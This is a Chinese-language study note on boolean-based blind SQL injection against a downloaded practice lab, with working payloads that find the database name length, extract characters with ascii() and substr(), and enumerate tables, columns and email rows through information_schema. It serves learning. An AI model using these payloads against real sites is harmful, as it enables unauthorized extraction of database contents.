SQL注入之布爾盲注
本人記錄這些為了學習的同時,能夠有很好的記錄,所謂好記性不如爛筆頭,同時釋出出來,也是希望大家有朋友學習到這裡想上網搜尋一些東西,以便借用和探讨一些問題,總之,不斷學習!!
自我修養:沒有一個系統是安全的
了解
*布爾盲注就是:隻有兩種狀态:ture or false,當在位址欄輸入查詢語句時,對應的結果隻有這兩種狀态,也就是他沒有回顯位置,那麼要如何去知曉它的更深的資訊呢?*
盲注需要用到的函數
*length() 傳回字元串長度
substr() 截取字元串
ascii() 傳回字元串的ascii碼
sleep() 将程式執行延遲 . ()/秒
if(exp1,exp2,exp3) 如果第一個正确,就執行第二個,否則執行第三個*
執行個體講解
這裡我用的是網上下載下傳的sql注入練習靶場。

**這裡很清楚的能看到,他提升我們輸入ID,那我們就一步一步的拿到這個靶場的背景資料庫資訊 **
- 輸入?id=1,發現出現以下界面: 那麼我們就知道這個界面沒有傳回回顯點,當我們輸入錯誤時,他什麼也不顯示,那我們就知道這個是個盲注模型了
SQL 注入之布爾盲注SQL注入之布爾盲注 -
首先判斷資料庫名的字元串長度,這裡我是一個一個盲測試弄出來的,如果有小夥伴有更好的,可以評論,我也好好學習。 **?id=1’ and (length(database())=8) --+ ** 得出這個資料庫名字字元串長度為8
以下執行成功都是如圖所示 you are in…,我就不截圖了
-
來就是用burp來爆破這8個字元分别是什麼,burp的使用大家可以網上搜,像軟體的使用教程網上還是多。那麼再使用前,我們要用到函數substr()和ascii()兩個函數,以及ascii表.。_
這裡我做第一個字元,後面以此類推,
**?id=1’ and (ascii(substr(database(),1,1))=115) --+ **
這個1,1是指從第一個字元截取一個字元,這裡查ascii表得知115為s,就可以慢慢得知名字s…
-
-
字security之後,我們就需要拿他的表名*
?id=1’ and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101) --+
這裡的limit 0,1是指選取第一個表名,後面以此類推
-
-
拿到表名自然就可以拿表裡的屬性名了
?id=1’ and (ascii(substr((select column_name from information_schema.columns where table_name=‘emails’ limit 0,1),1,1))=105) --+
-
有了屬性名自然就可以拿到裡面的使用者資訊了
?id=1’ and (ascii(substr((select id from emails limit 0,1),1,1))=49) --+
?id=1’ and (ascii(substr((select email_id from emails limit 0,1),1,1))=68) --+
今天的學習就到這裡,持續學習中